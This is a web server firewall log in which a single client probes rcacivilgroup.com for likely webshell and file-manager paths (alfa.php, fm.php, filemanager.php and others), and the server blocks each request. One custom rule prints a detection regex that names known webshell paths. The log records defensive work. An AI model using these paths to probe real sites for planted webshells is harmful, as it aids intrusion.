[Fri Apr 03 01:37:27.417784 2026] [:error] [pid 25470:tid 25478] [client 20.215.208.34:64987] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "ac6pV3hROcck6_9HYygcbwAAAMY"]
[Fri Apr 03 01:37:28.019210 2026] [:error] [pid 25010:tid 25365] [client 20.215.208.34:63418] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "ac6pWI_KcjFQF5TuqTWrRAAAABA"]
[Fri Apr 03 01:37:28.555174 2026] [:error] [pid 25470:tid 25489] [client 20.215.208.34:64984] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "ac6pWHhROcck6_9HYygccwAAANE"]
[Fri Apr 03 01:37:29.162217 2026] [:error] [pid 25010:tid 25347] [client 20.215.208.34:64897] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "ac6pWY_KcjFQF5TuqTWrSwAAAAA"]
[Fri Apr 03 01:37:29.850945 2026] [:error] [pid 25035:tid 25450] [client 20.215.208.34:61943] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "ac6pWRhR292toNOkLqG4swAAAIg"]
[Fri Apr 03 01:37:30.365090 2026] [:error] [pid 25010:tid 25348] [client 20.215.208.34:61908] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ext.php"] [unique_id "ac6pWo_KcjFQF5TuqTWrUgAAAAE"]
[Fri Apr 03 01:37:30.901068 2026] [:error] [pid 25010:tid 25372] [client 20.215.208.34:63441] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ac6pWo_KcjFQF5TuqTWrVwAAABc"]
[Fri Apr 03 01:37:31.436841 2026] [:error] [pid 25470:tid 25479] [client 20.215.208.34:63393] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ac6pW3hROcck6_9HYygceQAAAMc"]
[Fri Apr 03 01:37:32.087845 2026] [:error] [pid 25018:tid 25427] [client 20.215.208.34:64967] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ac6pXHupR6lXnAUzFGr6AAAAAE4"]
[Fri Apr 03 01:37:32.685433 2026] [:error] [pid 25035:tid 25457] [client 20.215.208.34:58699] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ac6pXBhR292toNOkLqG4uAAAAI8"]
[Fri Apr 03 01:37:33.201381 2026] [:error] [pid 25035:tid 25444] [client 20.215.208.34:60608] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ac6pXRhR292toNOkLqG4uQAAAII"]
[Fri Apr 03 01:37:33.730416 2026] [:error] [pid 25010:tid 25370] [client 20.215.208.34:64896] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ac6pXY_KcjFQF5TuqTWrXgAAABU"]
[Fri Apr 03 01:37:34.331426 2026] [:error] [pid 25035:tid 25443] [client 20.215.208.34:61890] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ac6pXhhR292toNOkLqG4vgAAAIE"]
[Fri Apr 03 01:37:34.879531 2026] [:error] [pid 25018:tid 25428] [client 20.215.208.34:64983] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ac6pXnupR6lXnAUzFGr6BwAAAE8"]
[Fri Apr 03 01:37:35.459426 2026] [:error] [pid 25018:tid 25433] [client 20.215.208.34:63374] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ac6pX3upR6lXnAUzFGr6CgAAAFQ"]
[Fri Apr 03 01:37:35.996251 2026] [:error] [pid 25470:tid 25490] [client 20.215.208.34:60584] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ac6pX3hROcck6_9HYygcjgAAANI"]
[Fri Apr 03 01:37:36.581499 2026] [:error] [pid 25035:tid 25455] [client 20.215.208.34:63395] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ac6pYBhR292toNOkLqG4wQAAAI0"]
[Fri Apr 03 01:37:37.253331 2026] [:error] [pid 25470:tid 25486] [client 20.215.208.34:60639] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ac6pYXhROcck6_9HYygckwAAAM4"]
[Fri Apr 03 01:37:37.838203 2026] [:error] [pid 25018:tid 25435] [client 20.215.208.34:63368] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ac6pYXupR6lXnAUzFGr6EAAAAFY"]
[Fri Apr 03 01:37:38.439542 2026] [:error] [pid 25470:tid 25496] [client 20.215.208.34:60588] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ac6pYnhROcck6_9HYygclgAAANg"]
[Fri Apr 03 01:37:38.967341 2026] [:error] [pid 25470:tid 25473] [client 20.215.208.34:61925] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ac6pYnhROcck6_9HYygcmQAAAME"]
[Fri Apr 03 01:37:39.732881 2026] [:error] [pid 25035:tid 25448] [client 20.215.208.34:63412] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "ac6pYxhR292toNOkLqG4yAAAAIY"]
[Fri Apr 03 01:37:40.349156 2026] [:error] [pid 25018:tid 25425] [client 20.215.208.34:64982] [client 20.215.208.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "ac6pZHupR6lXnAUzFGr6FAAAAEw"]
[Fri Apr 03 01:37:40.872182 2026] [:error] [pid 25470:tid 25486] [client 20.215.208.34:63383] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ac6pZHhROcck6_9HYygcpgAAAM4"]
[Fri Apr 03 01:37:41.415639 2026] [:error] [pid 25010:tid 25365] [client 20.215.208.34:61910] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ac6pZY_KcjFQF5TuqTWrbAAAABA"]
[Fri Apr 03 01:37:41.933861 2026] [:error] [pid 25470:tid 25488] [client 20.215.208.34:61837] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ac6pZXhROcck6_9HYygcrAAAANA"]
[Fri Apr 03 01:37:42.620335 2026] [:error] [pid 25010:tid 25364] [client 20.215.208.34:64962] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac6pZo_KcjFQF5TuqTWrbwAAAA8"]
[Fri Apr 03 01:37:43.139795 2026] [:error] [pid 25470:tid 25486] [client 20.215.208.34:63397] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac6pZ3hROcck6_9HYygctAAAAM4"]
[Fri Apr 03 01:37:43.662164 2026] [:error] [pid 25035:tid 25453] [client 20.215.208.34:63401] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac6pZxhR292toNOkLqG40QAAAIs"]
[Fri Apr 03 01:37:44.184897 2026] [:error] [pid 25035:tid 25451] [client 20.215.208.34:61889] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac6paBhR292toNOkLqG40gAAAIk"]
[Fri Apr 03 01:37:44.709650 2026] [:error] [pid 25018:tid 25421] [client 20.215.208.34:61922] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ac6paHupR6lXnAUzFGr6HwAAAEg"]
[Fri Apr 03 01:37:45.294760 2026] [:error] [pid 25470:tid 25491] [client 20.215.208.34:61906] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ac6paXhROcck6_9HYygcvQAAANM"]
[Fri Apr 03 01:37:45.820971 2026] [:error] [pid 25018:tid 25424] [client 20.215.208.34:60585] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ac6paXupR6lXnAUzFGr6IgAAAEs"]
[Fri Apr 03 01:37:46.348284 2026] [:error] [pid 25010:tid 25354] [client 20.215.208.34:61941] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ac6pao_KcjFQF5TuqTWrdQAAAAY"]
[Fri Apr 03 01:37:46.871690 2026] [:error] [pid 25018:tid 25426] [client 20.215.208.34:61826] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app/webroot/filemanager.php"] [unique_id "ac6panupR6lXnAUzFGr6KQAAAE0"]
[Fri Apr 03 01:37:47.466246 2026] [:error] [pid 25010:tid 25359] [client 20.215.208.34:59954] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app/webroot/filemanager.php"] [unique_id "ac6pa4_KcjFQF5TuqTWrewAAAAs"]
[Fri Apr 03 01:37:48.003897 2026] [:error] [pid 25035:tid 25461] [client 20.215.208.34:64955] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app/webroot/filemanager.php"] [unique_id "ac6pbBhR292toNOkLqG42QAAAJM"]
[Fri Apr 03 01:37:48.644540 2026] [:error] [pid 25470:tid 25491] [client 20.215.208.34:64960] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app/webroot/filemanager.php"] [unique_id "ac6pbHhROcck6_9HYygcwwAAANM"]
[Fri Apr 03 01:37:49.176869 2026] [:error] [pid 25470:tid 25489] [client 20.215.208.34:61934] [client 20.215.208.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/about.php"] [unique_id "ac6pbXhROcck6_9HYygcxQAAANE"]
[Fri Apr 03 01:37:49.689787 2026] [:error] [pid 25470:tid 25488] [client 20.215.208.34:63430] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ac6pbXhROcck6_9HYygcygAAANA"]
[Fri Apr 03 01:37:50.347707 2026] [:error] [pid 25018:tid 25428] [client 20.215.208.34:59940] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ac6pbnupR6lXnAUzFGr6MQAAAE8"]
[Fri Apr 03 01:37:50.923123 2026] [:error] [pid 25035:tid 25454] [client 20.215.208.34:63370] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ac6pbhhR292toNOkLqG44AAAAIw"]
[Fri Apr 03 01:37:51.498500 2026] [:error] [pid 25010:tid 25349] [client 20.215.208.34:61930] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ac6pb4_KcjFQF5TuqTWrgQAAAAI"]
[Fri Apr 03 01:37:52.057735 2026] [:error] [pid 25010:tid 25354] [client 20.215.208.34:61888] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ac6pcI_KcjFQF5TuqTWrhAAAAAY"]
[Fri Apr 03 01:37:52.595296 2026] [:error] [pid 25010:tid 25359] [client 20.215.208.34:63442] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ac6pcI_KcjFQF5TuqTWrigAAAAs"]
[Fri Apr 03 01:37:53.125004 2026] [:error] [pid 25010:tid 25361] [client 20.215.208.34:61928] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ac6pcY_KcjFQF5TuqTWrjQAAAAw"]
[Fri Apr 03 01:37:53.645443 2026] [:error] [pid 25470:tid 25484] [client 20.215.208.34:64975] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/filemanager.php"] [unique_id "ac6pcXhROcck6_9HYygc1gAAAMw"]
[Fri Apr 03 01:37:54.179156 2026] [:error] [pid 25018:tid 25419] [client 20.215.208.34:60649] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/filemanager.php"] [unique_id "ac6pcnupR6lXnAUzFGr6PQAAAEY"]
[Fri Apr 03 01:37:54.695536 2026] [:error] [pid 25010:tid 25363] [client 20.215.208.34:65000] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/filemanager.php"] [unique_id "ac6pco_KcjFQF5TuqTWrkwAAAA4"]
[Fri Apr 03 01:37:55.220884 2026] [:error] [pid 25018:tid 25411] [client 20.215.208.34:61940] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/filemanager.php"] [unique_id "ac6pc3upR6lXnAUzFGr6QQAAAEA"]
[Fri Apr 03 01:37:55.803154 2026] [:error] [pid 25035:tid 25453] [client 20.215.208.34:63385] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/voga/sallu.php"] [unique_id "ac6pcxhR292toNOkLqG46gAAAIs"]
[Fri Apr 03 01:37:56.325516 2026] [:error] [pid 25010:tid 25367] [client 20.215.208.34:63384] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/voga/sallu.php"] [unique_id "ac6pdI_KcjFQF5TuqTWrmAAAABI"]
[Fri Apr 03 01:37:56.885613 2026] [:error] [pid 25035:tid 25451] [client 20.215.208.34:61833] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/voga/sallu.php"] [unique_id "ac6pdBhR292toNOkLqG46wAAAIk"]
[Fri Apr 03 01:37:57.405556 2026] [:error] [pid 25035:tid 25458] [client 20.215.208.34:64997] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/voga/sallu.php"] [unique_id "ac6pdRhR292toNOkLqG47AAAAJA"]
[Fri Apr 03 01:37:57.964805 2026] [:error] [pid 25010:tid 25351] [client 20.215.208.34:64902] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dlu.php"] [unique_id "ac6pdY_KcjFQF5TuqTWrnQAAAAM"]
